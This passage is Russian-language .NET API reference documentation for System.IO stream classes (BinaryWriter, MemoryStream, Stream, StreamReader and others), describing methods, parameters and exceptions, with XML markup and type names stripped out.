текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 4 байта из текущего потока и перемещает текущую позицию в потоке на четыре байта вперед. + Целое число без знака длиной 4 байта, считанное из текущего потока. + Достигнут конец потока. + Поток закрыт. + Ошибка ввода-вывода. + 2 + + + Считывает целое число без знака длиной 8 байт из текущего потока и перемещает текущую позицию в потоке на восемь байтов вперед. + Целое число без знака длиной 8 байт, считанное из текущего потока. + Достигнут конец потока. + Ошибка ввода-вывода. + Поток закрыт. + 2 + + + Записывает простые типы данных в поток как двоичные значения и поддерживает запись строк в определенной кодировке. + 2 + + + Выполняет инициализацию нового экземпляра класса , который осуществляет запись в поток. + + + Инициализирует новый экземпляр класса на основании указанного потока с использованием кодировки UTF-8. + Выходной поток. + Поток не поддерживает запись или был закрыт до начала операции. + Параметр имеет значение null. + + + Инициализирует новый экземпляр класса на основании указанного потока и кодировки символов. + Выходной поток. + Кодировка символов, которую нужно использовать. + Поток не поддерживает запись или был закрыт до начала операции. + Значение параметра или — null. + + + Инициализирует новый экземпляр класса на основании указанного потока и кодировки символов, а также при необходимости оставляет поток открытым. + Выходной поток. + Кодировка символов, которую нужно использовать. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + Поток не поддерживает запись или был закрыт до начала операции. + Значение параметра или — null. + + + Получает базовый поток . + Базовый поток, связанный с объектом BinaryWriter. + 1 + + + Освобождает все ресурсы, используемые текущим экземпляром класса . + + + Освобождает неуправляемые (а при необходимости и управляемые) ресурсы, используемые объектом . + Значение true позволяет освободить управляемые и неуправляемые ресурсы; значение false позволяет освободить только неуправляемые ресурсы. + + + Очищает все буферы текущего модуля записи и вызывает немедленную запись всех буферизованных данных на базовое устройство. + 1 + + + Задает без резервного хранилища. + 1 + + + Содержит базовый поток. + + + Задает позицию в текущем потоке. + Позиция в текущем потоке. + Смещение в байтах относительно . + Поле указывает точку отсчета, относительно которой указывается новая позиция. + Указатель позиции в файле перемещен в недопустимую позицию. + Значение является недопустимым. + 1 + + + Выполняет запись значения типа Boolean длиной один байт в текущий поток, при этом 0 соответствует значению false, а 1 — значению true. + Записываемое в поток значение типа Boolean (0 или 1). + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись байта без знака в текущий поток и перемещает позицию в потоке на один байт вперед. + Записываемый в поток байт без знака. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись массива байтов в базовый поток. + Массив байтов, содержащий записываемые в поток данные. + Ошибка ввода-вывода. + Поток закрыт. + Параметр имеет значение null. + 1 + + + Выполняет запись части массива байтов в текущий поток. + Массив байтов, содержащий записываемые в поток данные. + Стартовая точка в буфере , с которой начинается запись. + Количество записываемых байтов. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Выполняет запись символа Юникод в текущий поток и перемещает текущую позицию в потоке вперед в соответствии с используемой Encoding и количеством записанных в поток символов. + Незаменяющий символ Юникода, который необходимо записать. + Ошибка ввода-вывода. + Поток закрыт. + + представляет собой единичный символ-заместитель. + 1 + + + Выполняет запись массива символов в текущий поток и перемещает текущую позицию в потоке в соответствии с используемой Encoding и количеством записанных в поток символов. + Массив символов, содержащий записываемые в поток данные. + Параметр имеет значение null. + Поток закрыт. + Ошибка ввода-вывода. + 1 + + + Выполняет запись части массива символов в текущий поток и изменяет текущую позицию в потоке в соответствии с используемой Encoding и, возможно, количеством символов, записанных в поток. + Массив символов, содержащий записываемые в поток данные. + Стартовая точка в буфере , с которой начинается запись. + Количество символов для записи. + Длина буфера за вычетом значения параметра меньше значения параметра . + Параметр имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает десятичное число в текущий поток и перемещает позицию в потоке на шестнадцать байтов. + Десятичное значение, которое необходимо записать. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает число с плавающей запятой длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Число с плавающей запятой длиной 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 2 байта в текущий поток и перемещает позицию в потоке вперед на два байта. + Целое число со знаком размером 2 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Целое число со знаком размером 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число со знаком длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Целое число со знаком размером 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает байт со знаком в текущий поток и перемещает позицию в потоке вперед на один байт. + Байт со знаком, который необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает число с плавающей запятой длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Число с плавающей запятой длиной 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает в текущий поток строку, предваряемую ее длиной, используя текущую кодировку , и перемещает позицию в потоке вперед в соответствии с используемой кодировкой и количеством записанных в поток символов. + Записываемое значение. + Ошибка ввода-вывода. + Параметр имеет значение null. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 2 байта в текущий поток и перемещает позицию в потоке вперед на два байта. + Целое число без знака размером 2 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 4 байта в текущий поток и перемещает позицию в потоке вперед на четыре байта. + Целое число без знака размером 4 байта, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает целое число без знака длиной 8 байт в текущий поток и перемещает позицию в потоке вперед на восемь байт. + Целое число без знака размером 8 байт, которое необходимо записать в поток. + Ошибка ввода-вывода. + Поток закрыт. + 1 + + + Записывает 32-разрядное целое число в сжатом формате. + 32-разрядное целое число, которое необходимо записать. + Достигнут конец потока. + Поток закрыт. + Поток закрыт. + + + Исключение, которое создается при попытке выполнить чтение за пределами потока. + 2 + + + Выполняет инициализацию нового экземпляра класса со строкой сообщения, которая соответствует строке системного сообщения, и значением HRESULT равным COR_E_ENDOFSTREAM. + + + Выполняет инициализацию нового экземпляра класса со строкой сообщения, которая соответствует строке , и значением HRESULT равным COR_E_ENDOFSTREAM. + Строка, описывающая ошибку.Содержимое параметра должно быть понятным пользователю.Вызывающий оператор этого конструктора необходим, чтобы убедиться, локализована ли данная строка для текущего языка и региональных параметров системы. + + + Выполняет инициализацию нового экземпляра класса с указанным сообщением об ошибке и ссылкой на внутреннее исключение, которое стало причиной данного исключения. + Строка, описывающая ошибку.Содержимое параметра должно быть понятным пользователю.Вызывающий оператор этого конструктора необходим, чтобы убедиться, локализована ли данная строка для текущего языка и региональных параметров системы. + Исключение, которое вызвало текущее исключение.Если значение параметра не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение. + + + Исключение возникает, когда поток данных имеет недопустимый формат. + + + Инициализирует новый экземпляр класса . + + + Инициализирует новый экземпляр класса с указанным сообщением об ошибке. + Сообщение об ошибке с объяснением причин исключения. + + + Инициализирует новый экземпляр класса со ссылкой на внутреннее исключение, которое является причиной данного исключения. + Сообщение об ошибке с объяснением причин исключения. + Исключение, которое вызвало текущее исключение.Если значение параметра не равно null, текущее исключение сгенерировано в блоке catch, обрабатывающем внутреннее исключение. + + + Создает поток, резервным хранилищем которого является память.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 2 + + + Инициализирует новый экземпляр класса расширяемой емкостью, инициализированной нулевым значением. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанного массива байтов. + Массив байтов без знака, из которого создается текущий поток. + Свойство имеет значение null. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанного массива байтов с помощью указанного значения свойства . + Массив байтов без знака, из которого создается данный поток. + Параметр свойства , который определяет возможность поддержки потоком записи. + Свойство имеет значение null. + + + Инициализирует новый неизменяемый экземпляр класса на основе указанной области (индекса) массива байтов. + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Свойство имеет значение null. + Значение параметра или меньше нуля. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый неизменяемый экземпляр класса на основе указанной области массива байтов с помощью указанного значения свойства . + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Параметр свойства , который определяет возможность поддержки потоком записи. + Свойство имеет значение null. + Параметр или имеет отрицательное значение. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый экземпляр класса на основе указанной области массива байтов с помощью указанного значения свойства и возможности вызова с указанным значением. + Массив байтов без знака, из которого создается данный поток. + Индекс в , с которого начинается поток. + Длина потока в байтах. + Параметр свойства , который определяет возможность поддержки потоком записи. + Значение true, чтобы разрешить метод , возвращающий массив байтов без знака, из которого создан поток; в противном случае — значение false. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Длина буфера за вычетом значения параметра меньше значения параметра . + + + Инициализирует новый экземпляр класса расширяемой емкостью, инициализированной с указанным значением. + Исходный размер внутреннего массива в байтах. + Значение отрицательно. + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций чтения. + Значение true, если поток открыт. + 2 + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций поиска. + Значение true, если поток открыт. + 2 + + + Возвращает значение, определяющее в текущем потоке наличие поддержки операций записи. + Значение true, если поток поддерживает запись; в противном случае — значение false. + 2 + + + Возвращает или задает число байтов, выделенных для этого потока. + Длина применимой к использованию части буфера для потока. + Заданная емкость отрицательная или меньше текущей длины потока. + Текущий поток закрыт. + set вызывается для потока, емкость которого нельзя изменить. + 2 + + + Асинхронно считывает все байты из текущего потока и записывает их в другой поток, используя указанный размер буфера и токен отмены. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля. + Токен для отслеживания запросов отмены. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Освобождает неуправляемые ресурсы, используемые классом (при необходимости освобождает и управляемые ресурсы). + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Переопределяет метод так, что никакие действия не выполняются. + 2 + + + Асинхронно очищает все буферы для этого потока и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию очистки. + Токен для отслеживания запросов отмены. + Поток был ликвидирован. + + + Возвращает длину потока в байтах. + Длина потока в байтах. + Поток закрыт. + 2 + + + Возвращает или задает текущее положение в потоке. + Текущее положение в потоке. + В качестве положения задано отрицательное значение или значение, большее . + Поток закрыт. + 2 + + + Считывает блок байтов из текущего потока и записывает данные в буфер. + Общее число байтов, записанных в буфер.Оно может быть меньше запрошенного числа байтов, если это количество в текущий момент не доступно, или же равно нулю, если конец потока достигнут до того, как байты были считаны. + При возвращении данного метода этот параметр содержит указанный массив байтов со значениями от до ( + - 1), замененными символами, считанными из текущего потока. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается сохранение данных из текущего потока. + Максимальное число байтов, предназначенных для чтения. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Длина буфера за вычетом меньше, чем . + Текущий экземпляр потока закрыт. + 2 + + + Асинхронно считывает последовательность байтов из текущего потока, перемещает позицию в потоке на число считанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Считывает байт из текущего потока. + Байт приводится к типу или -1, если достигнут конец потока. + Текущий экземпляр потока закрыт. + 2 + + + Задает указанное значение для положения в текущем потоке. + Новое положение в потоке, вычисляемое путем объединения смещения и исходной точки ссылки. + Новое положение в потоке.Оно определяется относительно параметра и может быть положительным или отрицательным. + Значение типа , которое действует как точка ссылки поиска. + Попытка поиска выполняется до начала потока. + Значение больше значения . + + недопустим. -или-Значение вызвало арифметическое переполнение. + Текущий экземпляр потока закрыт. + 2 + + + Задает указанное значение для длины текущего потока. + Значение задаваемой длины. + Размер текущего потока изменить нельзя, и значение параметра больше текущей емкости.-или- Текущий поток не поддерживает запись. + Значение параметра отрицательное или больше максимальной длины , где максимальная длина равна ( - источник). Источник — это индекс в основном буфере, с которого начинается поток. + 2 + + + Записывает содержимое потока в массив байтов независимо от свойства . + Новый массив байтов. + 2 + + + Возвращает массив байтов без знака, из которого был создан данный поток.Возвращаемое значение указывает, успешно ли выполнено преобразование. + Значение true, если преобразование прошло успешно; в противном случае — значение false. + Сегмент массива байтов, из которого был создан данный поток. + + + Записывает в текущий поток блок байтов, используя данные, считанные из буфера. + Буфер, из которого записываются данные. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается копирование байтов в текущий поток. + Максимальное число байтов для записи. + Свойство имеет значение null. + Поток не поддерживает запись.Дополнительные сведения см. в разделе .-или- Текущее положение ближе к концу потока, чем число байтов , и емкость изменить невозможно. + Длина буфера за вычетом меньше, чем . + Параметр или имеет отрицательное значение. + Ошибка ввода-вывода. + Текущий экземпляр потока закрыт. + 2 + + + Асинхронно записывает последовательность байтов в текущий поток, перемещает текущую позицию внутри потока на число записанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Записывает байт в текущее положение текущего потока. + Записываемый байт. + Поток не поддерживает запись.Дополнительные сведения см. в разделе .-или- Текущее положение находится в конце потока и емкость изменить невозможно. + Текущий поток закрыт. + 2 + + + Записывает все содержимое данного потока памяти в другой поток. + Поток, в который требуется осуществить запись данного потока памяти. + Свойство имеет значение null. + Текущий или конечный поток закрыт. + 2 + + + Задает позицию в потоке, используемую для поиска. + 2 + + + Задает начало потока. + + + Задает текущее положение в потоке. + + + Задает конец потока. + + + Предоставляет универсальное представление последовательности байтов.Этот класс является абстрактным.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 2 + + + Инициализирует новый экземпляр класса . + + + При переопределении в производном классе возвращает значение, показывающее, поддерживает ли текущий поток возможность чтения. + Значение true, если поток поддерживает чтение; в противном случае — значение false. + 1 + + + При переопределении в производном классе возвращает значение, которое показывает, поддерживается ли в текущем потоке возможность поиска. + Значение true, если поток поддерживает поиск; в противном случае — значение false. + 1 + + + Возвращает значение, которое показывает, может ли для данного потока истечь время ожидания. + Значение, которое показывает, может ли для данного потока истечь время ожидания. + 2 + + + При переопределении в производном классе возвращает значение, которое показывает, поддерживает ли текущий поток возможность записи. + Значение true, если поток поддерживает запись; в противном случае — значение false. + 1 + + + Считывает байты из текущего потока и записывает их в другой поток. + Поток, в который будет скопировано содержимое текущего потока. + Свойство имеет значение null. + Текущий поток не поддерживает чтение.-или-Параметр не поддерживает запись. + Текущий поток или параметр был закрыт до вызова метода . + Произошла ошибка ввода-вывода. + + + Считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера. + Поток, в который будет скопировано содержимое текущего потока. + Размер буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток не поддерживает чтение.-или-Параметр не поддерживает запись. + Текущий поток или параметр был закрыт до вызова метода . + Произошла ошибка ввода-вывода. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Свойство имеет значение null. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Асинхронно считывает байты из текущего потока и записывает их в другой поток, используя указанный размер буфера и токен отмены. + Задача, представляющая асинхронную операцию копирования. + Поток, в который будет скопировано содержимое текущего потока. + Размер (в байтах) буфера.Это значение должно быть больше нуля.Размер по умолчанию — 81920. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Параметр имеет отрицательное значение или равен нулю. + Текущий поток или поток назначения удаляется. + Текущий поток не поддерживает чтение или поток назначения не поддерживает запись. + + + Освобождает все ресурсы, занятые модулем . + + + Освобождает неуправляемые ресурсы, используемые объектом , а при необходимости освобождает также управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + При переопределении в производном классе очищает все буферы данного потока и вызывает запись данных буферов в базовое устройство. + Ошибка ввода-вывода. + 2 + + + Асинхронно очищает все буферы для этого потока и вызывает запись всех буферизованных данных в базовое устройство. + Задача, представляющая асинхронную операцию очистки. + Поток был ликвидирован. + + + Асинхронно очищает все буферы данного потока, вызывает запись буферизованных данных в базовое устройство и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию очистки. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Поток был ликвидирован. + + + При переопределении в производном классе получает длину потока в байтах. + Длинное значение, представляющее длину потока в байтах. + Класс, созданный на основе класса Stream, не поддерживает возможность поиска. + Методы были вызваны после закрытия потока. + 1 + + + Объект Stream без резервного хранилища. + 1 + + + При переопределении в производном классе получает или задает позицию в текущем потоке. + Текущее положение в потоке. + Ошибка ввода-вывода. + Этот поток не поддерживает поиск. + Методы были вызваны после закрытия потока. + 1 + + + При переопределении в производном классе считывает последовательность байтов из текущего потока и перемещает позицию в потоке на число считанных байтов. + Общее количество байтов, считанных в буфер.Это число может быть меньше количества запрошенных байтов, если столько байтов в настоящее время недоступно, а также равняться нулю (0), если был достигнут конец потока. + Массив байтов.После завершения выполнения данного метода буфер содержит указанный массив байтов, в котором значения в интервале между и ( + - 1) заменены байтами, считанными из текущего источника. + Смещение байтов (начиная с нуля) в , с которого начинается сохранение данных, считанных из текущего потока. + Максимальное количество байтов, которое должно быть считано из текущего потока. + Сумма значений параметров и больше длины буфера. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Ошибка ввода-вывода. + Поток не поддерживает чтение. + Методы были вызваны после закрытия потока. + 1 + + + Асинхронно считывает последовательность байтов из текущего потока и перемещает позицию внутри потока на число считанных байтов. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Асинхронно считывает последовательность байтов из текущего потока, перемещает позицию в потоке на число считанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + Буфер, в который записываются данные. + Смещение байтов в , с которого начинается запись данных из потока. + Максимальное число байтов, предназначенных для чтения. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает чтение. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией чтения. + + + Считывает байт из потока и перемещает позицию в потоке на один байт или возвращает -1, если достигнут конец потока. + Байт без знака, приведенный к Int32, или значение -1, если достигнут конец потока. + Поток не поддерживает чтение. + Методы были вызваны после закрытия потока. + 2 + + + Возвращает или задает значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию чтения, прежде чем истечет время ожидания. + Значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию чтения, прежде чем истечет время ожидания. + Метод всегда создает исключение . + 2 + + + При переопределении в производном классе задает позицию в текущем потоке. + Новая позиция в текущем потоке. + Смещение в байтах относительно параметра . + Значение типа , указывающее точку ссылки, которая используется для получения новой позиции. + Ошибка ввода-вывода. + Поток не поддерживает поиск, если поток создан на основе канала или вывода консоли. + Методы были вызваны после закрытия потока. + 1 + + + При переопределении в производном классе задает длину текущего потока. + Нужная длина текущего потока в байтах. + Ошибка ввода-вывода. + Поток не поддерживает ни поиск, ни запись, например, если поток создан на основе канала или вывода консоли. + Методы были вызваны после закрытия потока. + 2 + + + При переопределении в производном классе записывает последовательность байтов в текущий поток и перемещает текущую позицию в нем вперед на число записанных байтов. + Массив байтов.Этот метод копирует байты из в текущий поток. + Отсчитываемое от нуля смещение байтов в буфере , с которого начинается копирование байтов в текущий поток. + Количество байтов, которое необходимо записать в текущий поток. + Сумма  и  больше, чем длина буфера. + + — null. + + или  является отрицательным. + Произошла ошибка ввода-вывода, такие как не удается найти указанный файл. + Поток не поддерживает запись. + + был вызван после закрытия потока. + 1 + + + Асинхронно записывает последовательность байтов в текущий поток и перемещает текущую позицию внутри потока на число записанных байтов. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Асинхронно записывает последовательность байтов в текущий поток, перемещает текущую позицию внутри потока на число записанных байтов и отслеживает запросы отмены. + Задача, представляющая асинхронную операцию записи. + Буфер, из которого записываются данные. + Смещение байтов (начиная с нуля) в объекте , с которого начинается копирование байтов в поток. + Максимальное число байтов для записи. + Токен для отслеживания запросов отмены.Значение по умолчанию — . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток не поддерживает запись. + Поток был ликвидирован. + Поток в настоящее время используется предыдущей операцией записи. + + + Записывает байт в текущее положение в потоке и перемещает позицию в потоке вперед на один байт. + Байт, записываемый в поток. + Ошибка ввода-вывода. + Поток не поддерживает запись или был закрыт до начала операции. + Методы были вызваны после закрытия потока. + 2 + + + Возвращает или задает значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию записи, прежде чем истечет время ожидания. + Значение в миллисекундах, определяющее период, в течение которого поток будет пытаться выполнить операцию записи, прежде чем истечет время ожидания. + Метод всегда создает исключение . + 2 + + + Реализует объект , который считывает символы из потока байтов в определенной кодировке.Чтобы просмотреть исходный код .NET Framework для этого типа, см. Reference Source. + 1 + + + Инициализирует новый экземпляр класса для заданного потока. + Поток, который нужно считать. + + не поддерживает чтение. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса для указанного потока, используя заданный параметр обнаружения метки порядка следования байтов. + Поток, который нужно считать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + + не поддерживает чтение. + Свойство имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + + не поддерживает чтение. + Параметр или имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов и параметр обнаружения метки порядка байтов. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + + не поддерживает чтение. + Параметр или имеет значение null. + + + Инициализирует новый экземпляр класса для заданного потока, используя указанную кодировку символов, параметр обнаружения метки порядка байтов и размер буфера. + Поток, который нужно считать. + Кодировка символов, которую нужно использовать. + Указывает, следует ли выполнять поиск меток порядка байтов с начала файла. + Минимальный размер буфера. + Поток не поддерживает чтение. + Параметр или имеет значение null. + Значение параметра меньше или равно нулю. + + + Инициализирует новый экземпляр класса для указанного потока на основе заданной кодировки символов, параметра обнаружения меток порядка байтов и размера буфера, а также при необходимости оставляет поток открытым. + Считываемый поток. + Кодировка символов, которую нужно использовать. + Значение true для поиска меток порядка байтов в начале файла; в противном случае — значение false. + Минимальный размер буфера. + Значение true, чтобы оставить поток открытым после удаления объекта ; в противном случае — значение false. + + + Возвращает основной поток. + Основной поток. + 2 + + + Возвращает текущую кодировку символов, используемую текущим объектом . + Текущая кодировка символов, используемая текущим устройством чтения.После первого вызова любого метода объекта значение может измениться, поскольку до первого вызова метода автоматическое определение кодировки не выполняется. + 2 + + + Очищает внутренний буфер. + 2 + + + Закрывает основной поток, освобождает неуправляемые ресурсы, используемые , и при необходимости освобождает управляемые ресурсы. + Значение true позволяет освободить как управляемые, так и неуправляемые ресурсы; значение false освобождает только неуправляемые ресурсы. + + + Возвращает значение, определяющее, находится ли позиция текущего потока в конце потока. + Значение true, если текущее положение находится в конце потока; в противном случае — значение false. + Основной поток удален. + 1 + + + Объект для пустого потока. + 1 + + + Возвращает следующий доступный символ, но не использует его. + Целое число, представляющее следующий символ для прочтения или значение -1, если доступных для чтения символов нет или поток не поддерживает поиск. + Ошибка ввода-вывода. + 1 + + + Выполняет чтение следующего символа из входного потока и перемещает положение символа на одну позицию вперед. + Следующий символ из входного потока, представленный в виде объекта , или значение -1, если больше нет доступных символов. + Ошибка ввода-вывода. + 1 + + + Считывает заданное максимальное количество символов из текущего потока в буфер начиная с заданного индекса. + Число символов, которые были считаны, или значение 0, если к концу потока не было считано никаких данных.Это число будет не больше параметра , в зависимости от доступности данных в потоке. + При возврате данный метод содержит указанный массив символов, в котором значения в интервале между и () заменены символами, считанными из текущего источника. + Индекс , с которого требуется начать запись. + Максимальное число считываемых символов. + Длина буфера за вычетом значения параметра меньше значения параметра . + Свойство имеет значение null. + Значение параметра или является отрицательным. + Возникает ошибка ввода-вывода, например закрывается поток. + 1 + + + Асинхронно считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + При возвращении из этого метода содержит указанный массив символов, в котором значения в интервале от и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец потока достигнут, прежде чем указанное количество символов записывается в буфер, возвращается текущий метод. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Количество считанных символов.Число будет меньше или равно значению , в зависимости от того, считаны ли все входящие символы. + При возврате данный метод содержит указанный массив символов, в котором значения в интервале между и () заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов. + Свойство имеет значение null. + Длина буфера за вычетом значения параметра меньше значения параметра . + Значение параметра или является отрицательным. + Объект закрыт. + Произошла ошибка ввода-вывода. + + + Асинхронно считывает указанное максимальное количество символов из текущего потока и записывает данные в буфер, начиная с заданного индекса. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит общее число байтов, считанных в буфер.Значение результата может быть меньше запрошенного числа байтов, если число доступных в данный момент байтов меньше запрошенного числа, или результат может быть равен 0 (нулю), если был достигнут конец потока. + При возвращении из этого метода содержит указанный массив символов, в котором значения в интервале от и ( + - 1) заменены символами, считанными из текущего источника. + Позиция в буфере , с которого начинается запись. + Максимальное число считываемых символов.Если конец потока достигнут, прежде чем в буфер записано указанное количество символов, метод возвращает управление. + Свойство имеет значение null. + Значение параметра или является отрицательным. + Сумма значений параметров и больше длины буфера. + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Выполняет чтение строки символов из текущего потока и возвращает данные в виде строки. + Следующая строка из входного потока или значение null, если достигнут конец входного потока. + Недостаточно памяти для размещения буфера возвращаемых строк. + Ошибка ввода-вывода. + 1 + + + Асинхронно выполняет чтение строки символов из текущего потока и возвращает данные в виде строки. + Задача, представляющая асинхронную операцию чтения.Значение параметра содержит следующую строку из потока или значение null, если все знаки прочитаны. + Количество символов в следующей строке больше . + Поток был ликвидирован. + Средство чтения в настоящее время используется предыдущей операцией чтения. + + + Считывает все символы, начиная с текущей позиции до конца потока. + Остальная часть потока в виде строки (от текущего положения до конца).Если текущее положение находится в конце потока, возвращается пустая 